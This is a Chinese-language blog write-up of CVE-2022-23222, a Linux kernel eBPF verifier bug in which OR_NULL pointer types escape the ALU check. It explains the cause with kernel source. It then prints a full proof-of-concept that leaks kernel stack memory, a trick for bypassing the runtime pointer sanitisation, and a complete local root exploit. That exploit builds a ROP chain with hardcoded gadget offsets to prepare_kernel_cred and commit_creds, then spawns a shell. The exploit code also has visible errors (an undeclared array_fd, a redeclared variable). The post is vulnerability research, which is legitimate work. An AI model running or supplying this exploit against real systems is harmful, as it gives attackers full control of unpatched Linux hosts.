CVE-2022-23222 Linux内核eBPF框架漏洞分析

0rb1t Lv2

0x00.前置知识

本篇涉及的linux源码,版本为5.9.10。

eBPF框架介绍

eBPF全称extended Berkeley Packet Filter,中译为扩展的伯克利-包过滤器。其主要功能是以用户身份来对linux内核的一些函数进行扩展以及hook,从而实现对socket网络封包进行过滤之类的功能。

eBPF本质上是一个沙盒虚拟机,用户可以通过编写bpf指令,并利用sys_bpf系统调用将指令附加到一些内核函数上,不过大部分功能都只有特权用户才能使用,普通用户只能实现极少数的功能。

bpf指令可以直接对内核内存进行操作,可扩展性高,所以内核需要对用户提供的bpf指令进行验证,保证其不会进行越界等违规操作。

1.verifier验证器

bpf指令的验证代码主要位于kernel/bpf/verfier.c文件中。

它会对bpf指令进行的检查大致如下:

  • 权限校验,只有关闭unprivileged_bpf_disabled,普通用户才有资格对socket或cgroup_skb进行bpf操作.
  • Call、Jmp等校验,bpf程序要求不能有循环、不能有函数嵌套(直接间接都不行),函数参数校验,bpf函数只允许拥有5个参数。
  • verifier程序会模拟执行bpf指令,但不会对内存进行实际操作,它会遍历所有的指令路径,并对寄存器进行范围检查。例如基于if语句对寄存器值进行范围界定,若寄存器范围不符合指针所能操作的范围,某指令却将指针寄存器与该寄存器相加,将会把指令定义为非法,导致bpf程序载入失败。
  • 为了防止路径爆炸,verfier也会对指令执行次数进行限制,并对路径状态进行记录,当执行到某个路径时,发现曾以相同的状态执行到该路径,便会进行剪枝操作。

要注意的点是,bpf程序默认初始的内存指针只有,main函数一开始传入给BPF_REG_1的skb指针,以及BPF_REG_10存储的栈指针(bpf的栈是直接使用的内核栈,即如果能发生一些越界,则可以直接进行返回地址修改)。其他所有的内存指针都必须通过函数调用获得,寄存器存储指针会进行标记,所以直接赋值寄存器一个指针是无效的。

2.bpf指令执行

bpf指令载入后,可以使用BPF_PROG_TEST_RUN的bpf系统调用功能点进行执行。

其实际执行bpf指令的函数则是位于kernel/bpf/core.c文件下的___bpf_prog_run。

verfier验证之后,内核会认为其bpf指令足够安全,几乎不会再进行任何校验,不过会有个简单的校验,后文会提到。

3.bpf map相关知识

这个可以看看我之前有关bpf的文章,里面讲了那几个map函数,实际就是可以创建一个内存区域供bpf程序使用。

0x01.漏洞成因

bpf寄存器拥有如下这些类型:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
//include/linux/bpf_verifier.h:43
enum bpf_reg_type {
NOT_INIT = 0, /* nothing was written into register */
SCALAR_VALUE, /* reg doesn't contain a valid pointer */
PTR_TO_CTX, /* reg points to bpf_context */
CONST_PTR_TO_MAP, /* reg points to struct bpf_map */
PTR_TO_MAP_VALUE, /* reg points to map element value */
PTR_TO_MAP_VALUE_OR_NULL,/* points to map elem value or NULL */
PTR_TO_STACK, /* reg == frame_pointer + offset */
PTR_TO_PACKET_META, /* skb->data - meta_len */
PTR_TO_PACKET, /* reg points to skb->data */
PTR_TO_PACKET_END, /* skb->data + headlen */
PTR_TO_FLOW_KEYS, /* reg points to bpf_flow_keys */
PTR_TO_SOCKET, /* reg points to struct bpf_sock */
PTR_TO_SOCKET_OR_NULL, /* reg points to struct bpf_sock or NULL */
PTR_TO_SOCK_COMMON, /* reg points to sock_common */
PTR_TO_SOCK_COMMON_OR_NULL, /* reg points to sock_common or NULL */
PTR_TO_TCP_SOCK, /* reg points to struct tcp_sock */
PTR_TO_TCP_SOCK_OR_NULL, /* reg points to struct tcp_sock or NULL */
PTR_TO_TP_BUFFER, /* reg points to a writable raw tp's buffer */
PTR_TO_XDP_SOCK, /* reg points to struct xdp_sock */
PTR_TO_BTF_ID, /* reg points to kernel struct */
PTR_TO_BTF_ID_OR_NULL, /* reg points to kernel struct or NULL */
PTR_TO_MEM, /* reg points to valid memory region */
PTR_TO_MEM_OR_NULL, /* reg points to valid memory region or NULL */
PTR_TO_RDONLY_BUF, /* reg points to a readonly buffer */
PTR_TO_RDONLY_BUF_OR_NULL, /* reg points to a readonly buffer or NULL */
PTR_TO_RDWR_BUF, /* reg points to a read/write buffer */
PTR_TO_RDWR_BUF_OR_NULL, /* reg points to a read/write buffer or NULL */
};

其中NOT_INIT表示未初始化,SCALAR_VALUE表示标量,即普通数字,其他类型基本上就是与内存指针相关,而这些类型之下还有一个OR_NULL的类别。

当通过bpf指令调用bpf_map_lookup_elem函数去获取相应索引的value时,会有两种可能,一种是返回正常的指向value的指针,另一种则是索引不在范围内或者其他变故导致返回NULL,而OR_NULL类型的寄存器就表示存储类似bpf_map_lookup_elem函数返回值的寄存器,在没有进行if null校验前,这种寄存器的值和类型都是不确定的。

理论上来说,就不能对该寄存器进行任何alu操作,但实际上,alu函数的检查不严导致部分OR_NULL类型的寄存器仍然可以被操作。

漏洞函数为adjust_ptr_min_max_vals:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//kernel/bpf/verifier.c:5203
static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
const struct bpf_reg_state *ptr_reg,
const struct bpf_reg_state *off_reg)
{
...

switch (ptr_reg->type) {
case PTR_TO_MAP_VALUE_OR_NULL:
verbose(env, "R%d pointer arithmetic on %s prohibited, null-check it first\n",
dst, reg_type_str[ptr_reg->type]);
return -EACCES;
case CONST_PTR_TO_MAP:
/* smin_val represents the known value */
if (known && smin_val == 0 && opcode == BPF_ADD)
break;
/* fall-through */
case PTR_TO_PACKET_END:
case PTR_TO_SOCKET:
case PTR_TO_SOCKET_OR_NULL:
case PTR_TO_SOCK_COMMON:
case PTR_TO_SOCK_COMMON_OR_NULL:
case PTR_TO_TCP_SOCK:
case PTR_TO_TCP_SOCK_OR_NULL:
case PTR_TO_XDP_SOCK:
verbose(env, "R%d pointer arithmetic on %s prohibited\n",
dst, reg_type_str[ptr_reg->type]);
return -EACCES;
case PTR_TO_MAP_VALUE:
if (!env->allow_ptr_leaks && !known && (smin_val < 0) != (smax_val < 0)) {
verbose(env, "R%d has unknown scalar with mixed signed bounds, pointer arithmetic with it prohibited for !root\n",
off_reg == dst_reg ? dst : src);
return -EACCES;
}
fallthrough;
default:
break;
}
...

adjust_ptr_min_max_vals函数由do_check->check_alu_op->adjust_reg_min_max_vals->adjust_ptr_min_max_vals链调用。

本意是对部分指针寄存器进行alu操作,所以利用以上的switch语句来进行过滤,但过滤并不严格。

查看前文的bpf_reg_type,能够发现如下类型未被包括。

  • PTR_TO_BTF_ID_OR_NULL
  • PTR_TO_MEM_OR_NULL
  • PTR_TO_RDONLY_BUF_OR_NULL
  • PTR_TO_RDWR_BUF_OR_NULL

这就导致了我们可以对一些OR_NULL寄存器进行alu操作。

接下来我们需要知道模拟执行的以下几点:

1.每个寄存器都有一个id,当使用mov指令将一个寄存器传递给另一个寄存器时,会直接进行*dst_reg = *src_reg;的操作,故id也会被复制过去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
//kernel/bpf/verifier.c:6247
...
if (opcode == BPF_MOV) {

if (BPF_SRC(insn->code) == BPF_X) {
if (insn->imm != 0 || insn->off != 0) {
verbose(env, "BPF_MOV uses reserved fields\n");
return -EINVAL;
}

/* check src operand */
err = check_reg_arg(env, insn->src_reg, SRC_OP);
if (err)
return err;
} else {
if (insn->src_reg != BPF_REG_0 || insn->off != 0) {
verbose(env, "BPF_MOV uses reserved fields\n");
return -EINVAL;
}
}

/* check dest operand, mark as required later */
err = check_reg_arg(env, insn->dst_reg, DST_OP_NO_MARK);
if (err)
return err;

if (BPF_SRC(insn->code) == BPF_X) {
struct bpf_reg_state *src_reg = regs + insn->src_reg;
struct bpf_reg_state *dst_reg = regs + insn->dst_reg;

if (BPF_CLASS(insn->code) == BPF_ALU64) {
/* case: R1 = R2
* copy register state to dest reg
*/
*dst_reg = *src_reg;
dst_reg->live |= REG_LIVE_WRITTEN;
dst_reg->subreg_def = DEF_NOT_SUBREG;
}
...

2.当执行JNE或者JEQ判断一个OR_NULL类型的寄存器是否为NULL时,寄存器为NULL的分支将会把所有同id的寄存器状态进行修改,包括值与类型。

先是__mark_reg_known(reg, val);将其值设置为val即NULL,不过此时也还只清空了比较的寄存器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//kernel/bpf/verifier.c:6675
//do_check->check_cond_jmp_op->reg_set_min_max
...
case BPF_JEQ:
case BPF_JNE:
{
struct bpf_reg_state *reg =
opcode == BPF_JEQ ? true_reg : false_reg;

/* For BPF_JEQ, if this is false we know nothing Jon Snow, but
* if it is true we know the value for sure. Likewise for
* BPF_JNE.
*/
if (is_jmp32)
__mark_reg32_known(reg, val32);
else
__mark_reg_known(reg, val);
break;
}
...

后续调用了mark_ptr_or_null_regs,循环处理所有符合标记的reg。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//kernel/bpf/verifier.c:7220
if (!is_jmp32 && BPF_SRC(insn->code) == BPF_K &&
insn->imm == 0 && (opcode == BPF_JEQ || opcode == BPF_JNE) &&
reg_type_may_be_null(dst_reg->type)) {
/* Mark all identical registers in each branch as either
* safe or unknown depending R == 0 or R != 0 conditional.
*/
mark_ptr_or_null_regs(this_branch, insn->dst_reg,
opcode == BPF_JNE);
mark_ptr_or_null_regs(other_branch, insn->dst_reg,
opcode == BPF_JEQ);
} else if (!try_match_pkt_pointers(insn, dst_reg, &regs[insn->src_reg],
this_branch, other_branch) &&
is_pointer_value(env, insn->dst_reg)) {
verbose(env, "R%d pointer comparison prohibited\n",
insn->dst_reg);
return -EACCES;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//kernel/bpf/verifier.c:6964
static void mark_ptr_or_null_regs(struct bpf_verifier_state *vstate, u32 regno,
bool is_null)
{
struct bpf_func_state *state = vstate->frame[vstate->curframe];
struct bpf_reg_state *regs = state->regs;
u32 ref_obj_id = regs[regno].ref_obj_id;
u32 id = regs[regno].id;
int i;

if (ref_obj_id && ref_obj_id == id && is_null)
/* regs[regno] is in the " == NULL" branch.
* No one could have freed the reference state before
* doing the NULL check.
*/
WARN_ON_ONCE(release_reference_state(state, id));
/* 循环处理所有同id的寄存器,即复制了该寄存器的其他寄存器都被标记为非NULL */
for (i = 0; i <= vstate->curframe; i++)
__mark_ptr_or_null_regs(vstate->frame[i], id, is_null);
}

最后mark_ptr_or_null_reg会进行reg->off清空以及reg->type的修改。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

static void mark_ptr_or_null_reg(struct bpf_func_state *state,
struct bpf_reg_state *reg, u32 id,
bool is_null)
{
if (reg_type_may_be_null(reg->type) && reg->id == id &&
!WARN_ON_ONCE(!reg->id)) {
/* Old offset (both fixed and variable parts) should
* have been known-zero, because we don't allow pointer
* arithmetic on pointers that might be NULL.
*/
/* 直接就默认清空该寄存器了,但是实际运行的时候不会进行清空,这里也导致verifier和run的差异 */
if (WARN_ON_ONCE(reg->smin_value || reg->smax_value ||
!tnum_equals_const(reg->var_off, 0) ||
reg->off)) {
__mark_reg_known_zero(reg);
reg->off = 0;
}
// 将其类型改为标量
if (is_null) {
reg->type = SCALAR_VALUE;
...

因此在verifier程序,所有和该OR_NULL寄存器同id的寄存器全部设置为值为0的标量。

3.实际运行过程中,寄存器是没有类型区分的,而这些相关的寄存器的值也不会在比较之后设置为0。毕竟实际运行并非模拟执行,寄存器的值都是动态的。

综上可以了解到,OR_NULL寄存器在模拟执行中是可以被alu操作的,并且在if判断后verifier会认为所有有关寄存器的值都是0,但实际运行过程并非如此,从而产生差异。

0x02.漏洞验证

在了解漏洞成因之后,就可以进行简易的POC编写进行漏洞验证了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
//POC
#include <stdio.h>
#include <sys/signal.h>
#include "bpf.h"//文末贴链接

void error_quit(const char *msg){
perror(msg);
exit(0);
}

void binary_dump(char* buf, size_t size, long long base_addr) {
printf("\033[33mDump:\n\033[0m");
char* ptr;
for (int i = 0; i < size / 0x20; i++) {
ptr = buf + i * 0x20;
printf("0x%016llx: ", base_addr + i * 0x20);
for (int j = 0; j < 4; j++) {
printf("0x%016llx ", *(long long*)(ptr + 8 * j));
}
printf(" ");
for (int j = 0; j < 0x20; j++) {
printf("%c", isprint(ptr[j]) ? ptr[j] : '.');
}
putchar('\n');
}
if (size % 0x20 != 0) {
int k = size - size % 0x20;
printf("0x%016llx: ", base_addr + k);
ptr = buf + k;
for (int i = 0; i <= (size - k) / 8; i++) {
printf("0x%016llx ", *(long long*)(ptr + 8 * i));
}
for (int i = 0; i < 3 - (size - k) / 8; i++) {
printf("%19c", ' ');
}
printf(" ");
for (int j = 0; j < size - k; j++) {
printf("%c", isprint(ptr[j]) ? ptr[j] : '.');
}
putchar('\n');
}
}

int test_vuln(){
/* 我们先创建一个0x1000大小的ringbuf,辅助我们的bpf程序获得PTR_TO_MEM_OR_NULL类型寄存器。 */
int ringbuf_fd = bpf_create_map(BPF_MAP_TYPE_RINGBUF, 0, 0, 0x1000);
if (ringbuf_fd < 0)
error_quit("Ringbuf map create error");

/* 创建一个内存区域,供我们等等泄露数据。 */
int array_fd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x40, 1);
if (array_fd < 0) {
error_quit("Array map create error");
}

/* 创建bpf指令。 */
struct bpf_insn insns[] = {
/* 保存skb_buff指针. */
BPF_MOV64_REG(BPF_REG_9,BPF_REG_1),

/* 调用bpf_ringbuf_reverse(ringbuf_fd, 0x1000, 0)获取OR_NULL寄存器 。
** 这里我们的参数2设置0x1000,表示要获取的ringbuf大小,这样会返回一个NULL。
** 原因是,ringbuf结构体本身也有一定大小,所以其实际空间是大于0x1000的,
** 所以这里size不匹配就会返回NULL。
*/
BPF_LD_MAP_FD(BPF_REG_1, ringbuf_fd),
BPF_MOV64_IMM(BPF_REG_2, 0x1000),
BPF_MOV64_IMM(BPF_REG_3,0),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),

/* 将BPF_REG_0传递给BPF_REG_7,并让BPF_REG_7加一。
** 理论上BPF_REG_7是不能进行alu操作的,这里限制不严格导致的漏洞。
*/
BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 1),

/* if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); }
** 构造分支判断,如果不为NULL,我们就需要调用discard归还指针(这个是必须的)
** ,并退出。
*/
BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5),
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
BPF_MOV64_IMM(BPF_REG_2, 1),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
BPF_MOV64_IMM(BPF_REG_0, 2),
BPF_EXIT_INSN(),

/* 将BPF_REG_7变成0x100,但是因为verifier认为BPF_REG_7原本等于0,
** 所以verifier还是认为它是0。
*/
BPF_ALU64_IMM(BPF_MUL, BPF_REG_7, 0x100),

/* 进行栈初始化,因为verifier不允许对未初始化的栈进行ld读取。
** 初始化0x40的空间给update读取进map。
*/
BPF_ST_MEM(BPF_DW, BPF_REG_10, -0x100, 0),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -0x100 + 0x8, 0),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -0x100 + 0x10, 0),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -0x100 + 0x18, 0),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -0x100 + 0x20, 0),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -0x100 + 0x28, 0),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -0x100 + 0x30, 0),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -0x100 + 0x38, 0),

/* 在verifier眼中 BPF_REG_6 = stack - 0x108 + 0 + 0x100 = stack-8
** 但实际BPF_REG_6 = stack - 0x108 + 0x100 + 0x100 = stack + 0x100 - 8
** 这里为什么要先减0x108再加BPF_REG_7再加上0x100,后文会讲到。
*/
BPF_MOV64_REG(BPF_REG_6, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, -0x108),
BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_7),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0x100),

// map_update_elem(array_fd, &key, &value, flag)
BPF_LD_MAP_FD(BPF_REG_1, array_fd),
BPF_ST_MEM(BPF_DW, BPF_REG_10, 0, -8),//往stack - 8存入0
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),//BPF_REG_2 = &key, key = 0
BPF_MOV64_REG(BPF_REG_3, BPF_REG_6),
/* 这里verifier认为BPF_REG_3 = stack - 0x100,但实际就是stack。 */
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -0x100 + 8),
BPF_MOV64_IMM(BPF_REG_4, 0),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_update_elem),

BPF_EXIT_INSN(),
};
unsigned char data[0x100] = {0};
//普通用户只有BPF_PROG_TYPE_SOCKET_FILTER和BPF_PROG_TYPE_CGOUP_SKB的prog类型可用
int prog_fd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insns, sizeof(insns)/sizeof(insns[0]), "");
puts(bpf_log_buf);
if (prog_fd < 0) error_quit("BPF_PROG_LOAD error");
unsigned int ret = 0, size_out = 0x100;
//运行程序,data实际就作为传入的skb指针,即BPF_REG_1。
bpf_prog_test_run(prog_fd, 0, data, 0x100, data, &size_out, &ret, NULL);
int key = 0;
long v[0x10];
int rets = bpf_lookup_elem(array_fd, &key, v);
if (rets < 0) error_quit("BPF_PROG_LOAD error");
binary_dump(v, 0x40, 0);
return ret;
}

int main(){
test_vuln();
}

执行就可以泄露数据了。

image-20250216234749661

前文中有提到要先减0x108再加BPF_REG_7,后面还得再去加0x100,这里加0x100的原因是,bpf它有个动态的指针check,会去修改指令,这里会将指针寄存器+标量寄存器的指令进行了修改.

BPF_ALU64_REG(BPF_ADD, BPF_REG_2, BPF_REG_1),指令实际如下:
MAX_BPF_REG = 0x107 (栈底基于当前指针的最大偏移)**
MAX_BPF_REG -= BPF_SRC_REG
MAX_BPF_REG |= BPF_SRC_REG

MAX_BPF_REG = -MAX_BPF_REG
MAX_BPF_REG >>= 0x3f
MAX_BPF_REG &= BPF_SRC_REG

BPF_DST_REG += __MAX_BPF_REG

这里实际就是将BPF_SRC_REG与MAX_BPF_REG进行比较,大于就直接归0了。
所有的指针都会添加这层检查,可以有效杜绝直接越界。

感兴趣可以在___bpf_prog_run函数这里下断点,跟一下,就会发现这里的指令被修改了。

1
2
3
4
//kernel/bpf/core.c:1679
static u64 ___bpf_prog_run(u64 *regs, const struct bpf_insn *insn){
...
}

绕过方式也很简单,这里只会对指针寄存器+标量寄存器的指令进行动态检测,但是指针寄存器+立即数并不会进行检测,所以我们就可以先加上一个寄存器让指针仍在范围内,再去加上立即数实现绕过。

0x03.漏洞利用

前文中,我们构造栈上的越界读取从而泄露了栈上数据,内核基地址被我们泄露出来了,实际这里还可以进行越界写,所以我们可以修改栈的返回地址打ROP。

具体怎么操作我就不细写了,就是kernel的简单rop了,不过是bpf指令形式的构造。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
#include <stdio.h>
#include <sys/signal.h>
#include "bpf.h"

unsigned long user_rip, user_ss, user_sp, user_cs, user_rflags;

void error_quit(const char *msg){
perror(msg);
exit(0);
}

void get_shell() {
printf("\033[35mGetShell Success!\033[0m\n");
system("/bin/sh");
return;
}

void binary_dump(char* buf, size_t size, long long base_addr) {
printf("\033[33mDump:\n\033[0m");
char* ptr;
for (int i = 0; i < size / 0x20; i++) {
ptr = buf + i * 0x20;
printf("0x%016llx: ", base_addr + i * 0x20);
for (int j = 0; j < 4; j++) {
printf("0x%016llx ", *(long long*)(ptr + 8 * j));
}
printf(" ");
for (int j = 0; j < 0x20; j++) {
printf("%c", isprint(ptr[j]) ? ptr[j] : '.');
}
putchar('\n');
}
if (size % 0x20 != 0) {
int k = size - size % 0x20;
printf("0x%016llx: ", base_addr + k);
ptr = buf + k;
for (int i = 0; i <= (size - k) / 8; i++) {
printf("0x%016llx ", *(long long*)(ptr + 8 * i));
}
for (int i = 0; i < 3 - (size - k) / 8; i++) {
printf("%19c", ' ');
}
printf(" ");
for (int j = 0; j < size - k; j++) {
printf("%c", isprint(ptr[j]) ? ptr[j] : '.');
}
putchar('\n');
}
}

void save_user_land() {
__asm__(
".intel_syntax noprefix;"
"mov user_cs,cs;"
"mov user_sp,rsp;"
"mov user_ss,ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
user_rip = (unsigned long)get_shell;
user_sp = 0x7fff86b74cd0;
puts("\033[34mUser land saved.\033[0m");
printf("\033[34muser_ss:0x%llx\033[0m\n", user_ss);
printf("\033[34muser_sp:0x%llx\033[0m\n", user_sp);
printf("\033[34muser_rflags:0x%llx\033[0m\n", user_rflags);
printf("\033[34muser_cs:0x%llx\033[0m\n", user_cs);
printf("\033[34muser_rip:0x%llx\033[0m\n", user_rip);
}

char stack[0x4000];

int test_vuln(){
int ringbuf_fd = bpf_create_map(BPF_MAP_TYPE_RINGBUF, 0, 0, 0x1000);
if (ringbuf_fd < 0)
error_quit("Ringbuf map create error");

struct bpf_insn insns[] = {
/* Save skb_buff pointer. */
BPF_MOV64_REG(BPF_REG_9,BPF_REG_1),

/* Call bpf_ringbuf_reverse(ringbuf_fd, 0x1000, 0) to get or null pointer. */
BPF_LD_MAP_FD(BPF_REG_1, ringbuf_fd),
BPF_MOV64_IMM(BPF_REG_2, 0x1000),
BPF_MOV64_IMM(BPF_REG_3,0),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),

/* Pass the or null reg to the mutated reg. */
BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 1),

/* This can cause the mutation reg to become 0 in the
** vertification, but it is 1 during actual operation.
*/

/* if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); } */
BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5),
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
BPF_MOV64_IMM(BPF_REG_2, 1),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
BPF_MOV64_IMM(BPF_REG_0, 2),
BPF_EXIT_INSN(),

/* Stack initial.*/
BPF_ST_MEM(BPF_DW, BPF_REG_10, -0x100, 0),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -0x100 + 0x8, 0),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -0x100 + 0x10, 0),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -0x100 + 0x18, 0),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -0x100 + 0x20, 0),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -0x100 + 0x28, 0),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -0x100 + 0x30, 0),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -0x100 + 0x38, 0),

/* Multiply the mutated reg by 0x100. */
BPF_ALU64_IMM(BPF_MUL, BPF_REG_7, 0x100),

/* Get the pointer of stack + 0x100*/
BPF_MOV64_REG(BPF_REG_6, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, -0x108),
BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_7),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0x100),

/* Get the kernel base addr. */
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_6, -0x100 + 0x10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, -0x914240),

/* Build rop chain. */
BPF_MOV64_REG(BPF_REG_1, BPF_REG_8),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_8),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_8),
BPF_MOV64_REG(BPF_REG_4, BPF_REG_8),
BPF_MOV64_REG(BPF_REG_5, BPF_REG_8),


BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 0x1b7a),//pop rdi; ret;
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 0x880f0),//prepare_kernel_cred
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, 0xeb14b),//pop rcx; ret;
BPF_ALU64_IMM(BPF_ADD, BPF_REG_4, 0xb7e64b),//mov rdi, rax; ret;
BPF_ALU64_IMM(BPF_ADD, BPF_REG_5, 0x87ec0),//commit_creds

BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_1, -0x100 + 0x10),
BPF_ST_MEM(BPF_DW, BPF_REG_6, -0x100 + 0x18, 0),
BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_2, -0x100 + 0x20),
BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_3, -0x100 + 0x28),
BPF_ST_MEM(BPF_DW, BPF_REG_6, -0x100 + 0x30, 0),
BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_4, -0x100 + 0x38),
BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_5, -0x100 + 0x40),

BPF_MOV64_REG(BPF_REG_1, BPF_REG_8),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_8),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_8),
BPF_MOV64_REG(BPF_REG_4, BPF_REG_8),
BPF_MOV64_REG(BPF_REG_5, BPF_REG_8),


BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 0xb7dc62),//swapgs; ret;
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 0x24232),//iretq; ret;

BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_1, -0x100 + 0x48),
BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_2, -0x100 + 0x50),
BPF_ST_MEM(BPF_DW, BPF_REG_6, -0x100 + 0x58, user_rip),
BPF_ST_MEM(BPF_DW, BPF_REG_6, -0x100 + 0x60, user_cs),
BPF_ST_MEM(BPF_DW, BPF_REG_6, -0x100 + 0x68, user_rflags),
BPF_ST_MEM(BPF_DW, BPF_REG_6, -0x100 + 0x70, stack+0x4000),
BPF_ST_MEM(BPF_DW, BPF_REG_6, -0x100 + 0x78, user_ss),

BPF_EXIT_INSN()
};

unsigned char data[0x100] = {0};
int prog_fd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insns, sizeof(insns)/sizeof(insns[0]), "");
// puts(bpf_log_buf);
if (prog_fd < 0) error_quit("BPF_PROG_LOAD error");
unsigned int ret = 0, size_out = 0x100;
bpf_prog_test_run(prog_fd, 0, data, 0x100, data, &size_out, &ret, NULL);
int key = 0;
long v[0x10];
int ret = bpf_lookup_elem(array_fd, &key, v);
binary_dump(v, 0x40, 0);
return ret;
}

int main(){
save_user_land();
signal(SIGSEGV, (__sighandler_t)get_shell);
test_vuln();
}

这里要注意的点就是,传入的user_sp最好是32位地址,因为bpf独特的mov操作,它的imm都是s32的类型,如果使用high<<32+low的形式,也会出现问题,如果low是32位负数,加上去会进行符号扩展,然后高32位就莫名其妙减一了,就很淦。

0x04.总结

有的时候分析CVE是真的难,这个bpf框架我审了好久,再加上资料不多,还是英文文档,就搞得很折磨人。

这个漏洞成因主要是switch进行黑名单过滤,并过滤不严导致的,也给我带来了新的思考,还是很不错的。

0x05.参考资料

CVE-2022-23222 eBPF verifier 提权漏洞分析

CVE-2021-31440:Linux 内核eBPF提权漏洞分析(Pwn2Own 2021)

eBPF Document

CVE-2022-23222 佬的exp,bpf.h也在其中

  • Title: CVE-2022-23222 Linux内核eBPF框架漏洞分析
  • Author: 0rb1t
  • Created at : 2025-02-16 21:09:26
  • Updated at : 2025-02-17 12:30:48
  • Link: https://redefine.ohevan.com/2025/02/16/CVE-2022-23222-Linux内核eBPF框架漏洞分析/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments